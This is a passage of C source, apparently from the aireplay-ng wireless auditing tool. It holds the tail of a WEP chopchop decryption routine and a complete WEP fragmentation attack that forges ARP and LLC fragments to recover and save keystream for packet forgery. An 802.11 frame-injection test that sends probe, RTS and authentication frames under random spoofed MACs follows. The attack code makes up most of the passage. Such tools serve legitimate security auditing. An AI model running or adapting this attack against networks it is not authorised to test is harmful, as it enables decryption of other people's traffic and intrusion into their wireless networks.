"\nWarning: ICV checksum verification FAILED! Trying workaround.\n" ); tried_header_rec=1; goto header_rec; } else { printf( "\nWorkaround couldn't fix ICV checksum.\nPacket is most likely invalid/useless\nTry another one.\n" ); } } caplen -= 4 + 4; /* remove the WEP IV & CRC (ICV) */ h80211[1] &= 0xBF; /* remove the WEP bit, too */ /* save the decrypted packet */ gettimeofday( &tv, NULL ); pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.caplen = caplen; pkh.len = caplen; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_dec-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "\nSaving plaintext in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed\n" ); return( 1 ); } n = sizeof( pkh ); if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } fclose( f_cap_out ); /* save the RC4 stream (xor mask) */ memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_dec-%02d%02d-%02d%02d%02d.xor", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving keystream in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = pkh.caplen + 8 - 24; if( fwrite( chopped + 24, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } fclose( f_cap_out ); printf( "\nCompleted in %lds (%0.2f bytes/s)\n\n", (long) time( NULL ) - tt, (float) ( pkh.caplen - 6 - 24 ) / (float) ( time( NULL ) - tt ) ); return( 0 ); } int make_arp_request(unsigned char *h80211, unsigned char *bssid, unsigned char *src_mac, unsigned char *dst_mac, unsigned char *src_ip, unsigned char *dst_ip, int size) { unsigned char *arp_header = (unsigned char*)"\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01"; unsigned char *header80211 = (unsigned char*)"\x08\x41\x95\x00"; // 802.11 part memcpy(h80211, header80211, 4); memcpy(h80211+4, bssid, 6); memcpy(h80211+10, src_mac, 6); memcpy(h80211+16, dst_mac, 6); h80211[22] = '\x00'; h80211[23] = '\x00'; // ARP part memcpy(h80211+24, arp_header, 16); memcpy(h80211+40, src_mac, 6); memcpy(h80211+46, src_ip, 4); memset(h80211+50, '\x00', 6); memcpy(h80211+56, dst_ip, 4); // Insert padding bytes memset(h80211+60, '\x00', size-60); return 0; } void save_prga(char *filename, unsigned char *iv, unsigned char *prga, int prgalen) { FILE *xorfile; size_t unused; xorfile = fopen(filename, "wb"); unused = fwrite (iv, 1, 4, xorfile); unused = fwrite (prga, 1, prgalen, xorfile); fclose (xorfile); } int do_attack_fragment() { unsigned char packet[4096]; unsigned char packet2[4096]; unsigned char prga[4096]; unsigned char iv[4]; // unsigned char ack[14] = "\xd4"; char strbuf[256]; struct tm *lt; struct timeval tv, tv2; int done; int caplen; int caplen2; int arplen; int round; int prga_len; int isrelay; int again; int length; int ret; int gotit; int acksgot; int packets; int z; unsigned char *snap_header = (unsigned char*)"\xAA\xAA\x03\x00\x00\x00\x08\x00"; done = caplen = caplen2 = arplen = round = 0; prga_len = isrelay = gotit = again = length = 0; if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 ) { printf( "Please specify a source MAC (-h).\n" ); return( 1 ); } if(getnet(NULL, 1, 1) != 0) return 1; if( memcmp( opt.r_dmac, NULL_MAC, 6 ) == 0 ) { memset( opt.r_dmac, '\xFF', 6); opt.r_dmac[5] = 0xED; } if( memcmp( opt.r_sip, NULL_MAC, 4 ) == 0 ) { memset( opt.r_sip, '\xFF', 4); } if( memcmp( opt.r_dip, NULL_MAC, 4 ) == 0 ) { memset( opt.r_dip, '\xFF', 4); } PCT; printf ("Waiting for a data packet...\n"); while(!done) // { round = 0; if( capture_ask_packet( &caplen, 0 ) != 0 ) return -1; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if((unsigned)caplen > sizeof(packet) || (unsigned)caplen > sizeof(packet2)) continue; memcpy( packet2, h80211, caplen ); caplen2 = caplen; PCT; printf("Data packet found!\n"); if ( memcmp( packet2 + 4, SPANTREE, 6 ) == 0 || memcmp( packet2 + 16, SPANTREE, 6 ) == 0 ) { packet2[z+4] = ((packet2[z+4] ^ 0x42) ^ 0xAA); //0x42 instead of 0xAA packet2[z+5] = ((packet2[z+5] ^ 0x42) ^ 0xAA); //0x42 instead of 0xAA packet2[z+10] = ((packet2[z+10] ^ 0x00) ^ 0x08); //0x00 instead of 0x08 } prga_len = 7; again = RETRY; memcpy( packet, packet2, caplen2 ); caplen = caplen2; memcpy(prga, packet+z+4, prga_len); memcpy(iv, packet+z, 4); xor_keystream(prga, snap_header, prga_len); while(again == RETRY) //sending 7byte fragments { again = 0; arplen=60; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, arplen); if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n"); memset(h80211+24, '\x00', 39); arplen=63; } acksgot=0; packets=(arplen-24)/(prga_len-4); if( (arplen-24)%(prga_len-4) != 0 ) packets++; PCT; printf("Sending fragmented packet\n"); send_fragments(h80211, arplen, iv, prga, prga_len-4, 0); // //Plus an ACK // send_packet(ack, 10); gettimeofday( &tv, NULL ); while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { acksgot++; } continue; } if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( (packet[1] & 2) ) //Is a FromDS packet { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC { if (caplen-z < 66) //Is short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for acks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer { PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { PCT; printf("Still nothing, trying another packet...\n"); again = NEW_IV; } break; } } } if(again == NEW_IV) continue; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 60); if (caplen-z == 68-24) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen-z == 71-24) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', 39); } if (! isrelay) { //Building expected cleartext unsigned char ct[4096] = "\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x02"; //Ethernet & ARP header //Followed by the senders MAC and IP: memcpy(ct+16, packet+16, 6); memcpy(ct+22, opt.r_dip, 4); //And our own MAC and IP: memcpy(ct+26, opt.r_smac, 6); memcpy(ct+32, opt.r_sip, 4); //Calculating memcpy(prga, packet+z+4, 36); xor_keystream(prga, ct, 36); } else { memcpy(prga, packet+z+4, 36); xor_keystream(prga, h80211+24, 36); } memcpy(iv, packet+z, 4); round = 0; again = RETRY; while(again == RETRY) { again = 0; PCT; printf("Trying to get 384 bytes of a keystream\n"); arplen=408; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, arplen); if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n"); memset(h80211+24, '\x00', arplen+8); arplen+=32; } acksgot=0; packets=(arplen-24)/(32); if( (arplen-24)%(32) != 0 ) packets++; send_fragments(h80211, arplen, iv, prga, 32, 0); // //Plus an ACK // send_packet(ack, 10); gettimeofday( &tv, NULL ); gotit=0; while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC acksgot++; continue; } if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( (packet[1] & 2) ) //Is a FromDS packet with valid IV { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC { if (caplen-z > 400-24 && caplen-z < 500-24) //Is short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for acks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer { PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { PCT; printf("Still nothing, trying another packet...\n"); again = NEW_IV; } break; } } } if(again == NEW_IV) continue; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 408); if (caplen-z == 416-24) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen-z == 448-24) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', 416); } memcpy(iv, packet+z, 4); memcpy(prga, packet+z+4, 384); xor_keystream(prga, h80211+24, 384); round = 0; again = RETRY; while(again == RETRY) { again = 0; PCT; printf("Trying to get 1500 bytes of a keystream\n"); make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 1500); arplen=1500; if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n"); memset(h80211+24, '\x00', 1508); arplen+=32; } acksgot=0; packets=(arplen-24)/(300); if( (arplen-24)%(300) != 0 ) packets++; send_fragments(h80211, arplen, iv, prga, 300, 0); // //Plus an ACK // send_packet(ack, 10); gettimeofday( &tv, NULL ); gotit=0; while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC acksgot++; continue; } if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( (packet[1] & 2) ) //Is a FromDS packet with valid IV { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC { if (caplen-z > 1496-24) //Is short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for acks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer { PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { printf("Still nothing, quitting with 384 bytes? [y/n] \n"); fflush( stdout ); ret=0; while(!ret) ret = scanf( "%s", tmpbuf ); printf( "\n" ); if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' ) again = ABORT; else again = NEW_IV; } break; } } } if(again == NEW_IV) continue; if(again == ABORT) length = 408; else length = 1500; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, length); if (caplen == length+8+z) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen == length+16+z) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', length+8); } if(again != ABORT) { memcpy(iv, packet+z, 4); memcpy(prga, packet+z+4, length); xor_keystream(prga, h80211+24, length); } lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "fragment-%02d%02d-%02d%02d%02d.xor", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); save_prga(strbuf, iv, prga, length); printf( "Saving keystream in %s\n", strbuf ); printf("Now you can build a packet with packetforge-ng out of that %d bytes keystream\n", length); done=1; } return( 0 ); } int grab_essid(unsigned char* packet, int len) { int i=0, j=0, pos=0, tagtype=0, taglen=0, chan=0; unsigned char bssid[6]; memcpy(bssid, packet+16, 6); taglen = 22; //initial value to get the fixed tags parsing started taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = packet[pos]; taglen = packet[pos+1]; } while(tagtype != 3 && pos < len-2); if(tagtype != 3) return -1; if(taglen != 1) return -1; if(pos+2+taglen > len) return -1; chan = packet[pos+2]; pos=0; taglen = 22; //initial value to get the fixed tags parsing started taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = packet[pos]; taglen = packet[pos+1]; } while(tagtype != 0 && pos < len-2); if(tagtype != 0) return -1; if(taglen > 250) taglen = 250; if(pos+2+taglen > len) return -1; for(i=0; i<20; i++) { if( ap[i].set) { if( memcmp(bssid, ap[i].bssid, 6) == 0 ) //got it already { if(packet[0] == 0x50 && !ap[i].found) { ap[i].found++; } if(ap[i].chan == 0) ap[i].chan=chan; break; } } if(ap[i].set == 0) { for(j=0; j<taglen; j++) { if(packet[pos+2+j] < 32 || packet[pos+2+j] > 127) { return -1; } } ap[i].set = 1; ap[i].len = taglen; memcpy(ap[i].essid, packet+pos+2, taglen); ap[i].essid[taglen] = '\0'; memcpy(ap[i].bssid, bssid, 6); ap[i].chan = chan; if(packet[0] == 0x50) ap[i].found++; return 0; } } return -1; } static int get_ip_port(char *iface, char *ip, const int ip_size) { char *host; char *ptr; int port = -1; struct in_addr addr; host = strdup(iface); if (!host) return -1; ptr = strchr(host, ':'); if (!ptr) goto out; *ptr++ = 0; if (!inet_aton(host, (struct in_addr *)&addr)) goto out; /* XXX resolve hostname */ if(strlen(host) > 15) { port = -1; goto out; } strncpy(ip, host, ip_size); port = atoi(ptr); if(port <= 0) port = -1; out: free(host); return port; } void dump_packet(unsigned char* packet, int len) { int i=0; for(i=0; i<len; i++) { if(i>0 && i%4 == 0)printf(" "); if(i>0 && i%16 == 0)printf("\n"); printf("%02X ", packet[i]); } printf("\n\n"); } struct net_hdr { uint8_t nh_type; uint32_t nh_len; uint8_t nh_data[0]; } __packed; int tcp_test(const char* ip_str, const short port) { int sock, i; struct sockaddr_in s_in; int packetsize = 1024; unsigned char packet[packetsize]; struct timeval tv, tv2, tv3; int caplen = 0; int times[REQUESTS]; int min, avg, max, len; struct net_hdr nh; tv3.tv_sec=0; tv3.tv_usec=1; s_in.sin_family = PF_INET; s_in.sin_port = htons(port); if (!inet_aton(ip_str, &s_in.sin_addr)) return -1; if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) return -1; /* avoid blocking on reading the socket */ if( fcntl( sock, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } gettimeofday( &tv, NULL ); while (1) //waiting for relayed packet { if (connect(sock, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) { if(errno != EINPROGRESS && errno != EALREADY) { perror("connect"); close(sock); printf("Failed to connect\n"); return -1; } } else { gettimeofday( &tv2, NULL ); break; } gettimeofday( &tv2, NULL ); //wait 3000ms for a successful connect if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (3000*1000)) { printf("Connection timed out\n"); close(sock); return(-1); } usleep(10); } PCT; printf("TCP connection successful\n"); //trying to identify airserv-ng memset(&nh, 0, sizeof(nh)); // command: GET_CHAN nh.nh_type = 2; nh.nh_len = htonl(0); if (send(sock, &nh, sizeof(nh), 0) != sizeof(nh)) { perror("send"); return -1; } gettimeofday( &tv, NULL ); i=0; while (1) //waiting for GET_CHAN answer { caplen = read(sock, &nh, sizeof(nh)); if(caplen == -1) { if( errno != EAGAIN ) { perror("read"); return -1; } } if( (unsigned)caplen == sizeof(nh)) { len = ntohl(nh.nh_len); if( nh.nh_type == 1 && i==0 ) { i=1; caplen = read(sock, packet, len); if(caplen == len) { i=2; break; } else { i=0; } } else { caplen = read(sock, packet, len); } } gettimeofday( &tv2, NULL ); //wait 1000ms for an answer if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1000*1000)) { break; } if(caplen == -1) usleep(10); } if(i==2) { PCT; printf("airserv-ng found\n"); } else { PCT; printf("airserv-ng NOT found\n"); } close(sock); for(i=0; i<REQUESTS; i++) { if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) return -1; /* avoid blocking on reading the socket */ if( fcntl( sock, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } usleep(1000); gettimeofday( &tv, NULL ); while (1) //waiting for relayed packet { if (connect(sock, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) { if(errno != EINPROGRESS && errno != EALREADY) { perror("connect"); close(sock); printf("Failed to connect\n"); return -1; } } else { gettimeofday( &tv2, NULL ); break; } gettimeofday( &tv2, NULL ); //wait 1000ms for a successful connect if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1000*1000)) { break; } //simple "high-precision" usleep select(1, NULL, NULL, NULL, &tv3); } times[i] = ((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)); printf( "\r%d/%d\r", i, REQUESTS); fflush(stdout); close(sock); } min = INT_MAX; avg = 0; max = 0; for(i=0; i<REQUESTS; i++) { if(times[i] < min) min = times[i]; if(times[i] > max) max = times[i]; avg += times[i]; } avg /= REQUESTS; PCT; printf("ping %s:%d (min/avg/max): %.3fms/%.3fms/%.3fms\n", ip_str, port, min/1000.0, avg/1000.0, max/1000.0); return 0; } int do_attack_test() { unsigned char packet[4096]; struct timeval tv, tv2, tv3; int len=0, i=0, j=0, k=0; int gotit=0, answers=0, found=0; int caplen=0, essidlen=0; unsigned int min, avg, max; int ret=0; float avg2; struct rx_info ri; int atime=200; //time in ms to wait for answer packet (needs to be higher for airserv) unsigned char nulldata[1024]; if(opt.port_out > 0) { atime += 200; PCT; printf("Testing connection to injection device %s\n", opt.iface_out); ret = tcp_test(opt.ip_out, opt.port_out); if(ret != 0) { return( 1 ); } printf("\n"); /* open the replay interface */ _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; printf("\n"); dev.fd_out = wi_fd(_wi_out); wi_get_mac(_wi_out, dev.mac_out); if(opt.s_face == NULL) { _wi_in = _wi_out; dev.fd_in = dev.fd_out; /* XXX */ dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); } } if(opt.s_face && opt.port_in > 0) { atime += 200; PCT; printf("Testing connection to capture device %s\n", opt.s_face); ret = tcp_test(opt.ip_in, opt.port_in); if(ret != 0) { return( 1 ); } printf("\n"); /* open the packet source */ _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); printf("\n"); } else if(opt.s_face && opt.port_in <= 0) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); printf("\n"); } if(opt.port_in <= 0) { /* avoid blocking on reading the socket */ if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } } if(getnet(NULL, 0, 0) != 0) return 1; srand( time( NULL ) ); memset(ap, '\0', 20*sizeof(struct APt)); essidlen = strlen(opt.r_essid); if( essidlen > 250) essidlen = 250; if( essidlen > 0 ) { ap[0].set = 1; ap[0].found = 0; ap[0].len = essidlen; memcpy(ap[0].essid, opt.r_essid, essidlen); ap[0].essid[essidlen] = '\0'; memcpy(ap[0].bssid, opt.r_bssid, 6); found++; } if(opt.bittest) set_bitrate(_wi_out, RATE_1M); PCT; printf("Trying broadcast probe requests...\n"); memcpy(h80211, PROBE_REQ, 24); len = 24; h80211[24] = 0x00; //ESSID Tag Number h80211[25] = 0x00; //ESSID Tag Length len += 2; memcpy(h80211+len, RATES, 16); len += 16; gotit=0; answers=0; for(i=0; i<3; i++) { /* random source so we can identify our packets */ opt.r_smac[0] = 0x00; opt.r_smac[1] = rand() & 0xFF; opt.r_smac[2] = rand() & 0xFF; opt.r_smac[3] = rand() & 0xFF; opt.r_smac[4] = rand() & 0xFF; opt.r_smac[5] = rand() & 0xFF; memcpy(h80211+10, opt.r_smac, 6); send_packet(h80211, len); gettimeofday( &tv, NULL ); while (1) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), &ri); if (packet[0] == 0x50 ) //Is probe response { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { if(grab_essid(packet, caplen) == 0 && (!memcmp(opt.r_bssid, NULL_MAC, 6))) { found++; } if(!answers) { PCT; printf("Injection is working!\n"); if(opt.fast) return 0; gotit=1; answers++; } } } if (packet[0] == 0x80 ) //Is beacon frame { if(grab_essid(packet, caplen) == 0 && (!memcmp(opt.r_bssid, NULL_MAC, 6))) { found++; } } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (3*atime*1000)) //wait 'atime'ms for an answer { break; } } } if(answers == 0) { PCT; printf("No Answer...\n"); } PCT; printf("Found %d AP%c\n", found, ((found == 1) ? ' ' : 's' ) ); if(found > 0) { printf("\n"); PCT; printf("Trying directed probe requests...\n"); } for(i=0; i<found; i++) { if(wi_get_channel(_wi_out) != ap[i].chan) { wi_set_channel(_wi_out, ap[i].chan); } if(wi_get_channel(_wi_in) != ap[i].chan) { wi_set_channel(_wi_in, ap[i].chan); } PCT; printf("%02X:%02X:%02X:%02X:%02X:%02X - channel: %d - \'%s\'\n", ap[i].bssid[0], ap[i].bssid[1], ap[i].bssid[2], ap[i].bssid[3], ap[i].bssid[4], ap[i].bssid[5], ap[i].chan, ap[i].essid); ap[i].found=0; min = INT_MAX; max = 0; avg = 0; avg2 = 0; memcpy(h80211, PROBE_REQ, 24); len = 24; h80211[24] = 0x00; //ESSID Tag Number h80211[25] = ap[i].len; //ESSID Tag Length memcpy(h80211+len+2, ap[i].essid, ap[i].len); len += ap[i].len+2; memcpy(h80211+len, RATES, 16); len += 16; for(j=0; j<REQUESTS; j++) { /* random source so we can identify our packets */ opt.r_smac[0] = 0x00; opt.r_smac[1] = rand() & 0xFF; opt.r_smac[2] = rand() & 0xFF; opt.r_smac[3] = rand() & 0xFF; opt.r_smac[4] = rand() & 0xFF; opt.r_smac[5] = rand() & 0xFF; //build/send probe request memcpy(h80211+10, opt.r_smac, 6); send_packet(h80211, len); usleep(10); //build/send request-to-send memcpy(nulldata, RTS, 16); memcpy(nulldata+4, ap[i].bssid, 6); memcpy(nulldata+10, opt.r_smac, 6); send_packet(nulldata, 16); usleep(10); //build/send null data packet memcpy(nulldata, NULL_DATA, 24); memcpy(nulldata+4, ap[i].bssid, 6); memcpy(nulldata+10, opt.r_smac, 6); memcpy(nulldata+16, ap[i].bssid, 6); send_packet(nulldata, 24); usleep(10); //build/send auth request packet memcpy(nulldata, AUTH_REQ, 30); memcpy(nulldata+4, ap[i].bssid, 6); memcpy(nulldata+10, opt.r_smac, 6); memcpy(nulldata+16, ap[i].bssid, 6); send_packet(nulldata, 30); //continue gettimeofday( &tv, NULL ); printf( "\r%2d/%2d: %3d%%\r", ap[i].found, j+1, ((ap[i].found*100)/(j+1))); fflush(stdout); while (1) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), &ri); if (packet[0] == 0x50 ) //Is probe response { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { if(! memcmp(ap[i].bssid, packet+16, 6)) //From the mentioned AP { gettimeofday( &tv3, NULL); ap[i].ping[j] = ((tv3.tv_sec*1000000 - tv.tv_sec*1000000) + (tv3.tv_usec - tv.tv_usec)); if(!answers) { if(opt.fast) { PCT; printf("Injection is working!\n\n"); return 0; } answers++; } ap[i].found++; if((signed)ri.ri_power > -200) ap[i].pwr[j] = (signed)ri.ri_power; break; } } } if (packet[0] == 0xC4 ) //Is clear-to-send { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { gettimeofday( &tv3, NULL); ap[i].ping[j] = ((tv3.tv_sec*1000000 - tv.tv_sec*1000000) + (tv3.tv_usec - tv.tv_usec)); if(!answers) { if(opt.fast) { PCT; printf("Injection is working!\n\n"); return 0; } answers++; } ap[i].found++; if((signed)ri.ri_power > -200) ap[i].pwr[j] = (signed)ri.ri_power; break; } } if (packet[0] == 0xD4 ) //Is ack { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { gettimeofday( &tv3, NULL); ap[i].ping[j] = ((tv3.tv_sec*1000000 - tv.tv_sec*1000000) + (tv3.tv_usec - tv.tv_usec)); if(!answers) { if(opt.fast) { PCT; printf("Injection is working!\n\n"); return 0; } answers++; } ap[i].found++; if((signed)ri.ri_power > -200) ap[i].pwr[j] = (signed)ri.ri_power; break; } } if (packet[0] == 0xB0 ) //Is auth response { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { if (! memcmp(packet+10, packet+16, 6)) //From BSS ID { gettimeofday( &tv3, NULL); ap[i].ping[j] = ((tv3.tv_sec*1000000 - tv.tv_sec*1000000) + (tv3.tv_usec - tv.tv_usec)); if(!answers) { if(opt.fast) { PCT; printf("Injection is working!\n\n"); return 0; } answers++; } ap[i].found++; if((signed)ri.ri_power > -200) ap[i].pwr[j] = (signed)ri.ri_power; break; } } } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (atime*1000)) //wait 'atime'ms for an answer { break; } usleep(10); } printf( "\r%2d/%2d: %3d%%\r", ap[i].found, j+1, ((ap[i].found*100)/(j+1))); fflush(stdout); } for(j=0; j<REQUESTS; j++) { if(ap[i].ping[j] > 0) { if(ap[i].ping[j] > max) max = ap[i].ping[j]; if(ap[i].ping[j] < min) min = ap[i].ping[j]; avg += ap[i].ping[j]; avg2 += ap[i].pwr[j]; } } if(ap[i].found > 0) { avg /= ap[i].found; avg2 /= ap[i].found; PCT; printf("Ping (min/avg/max): %.3fms/%.3fms/%.3fms Power: 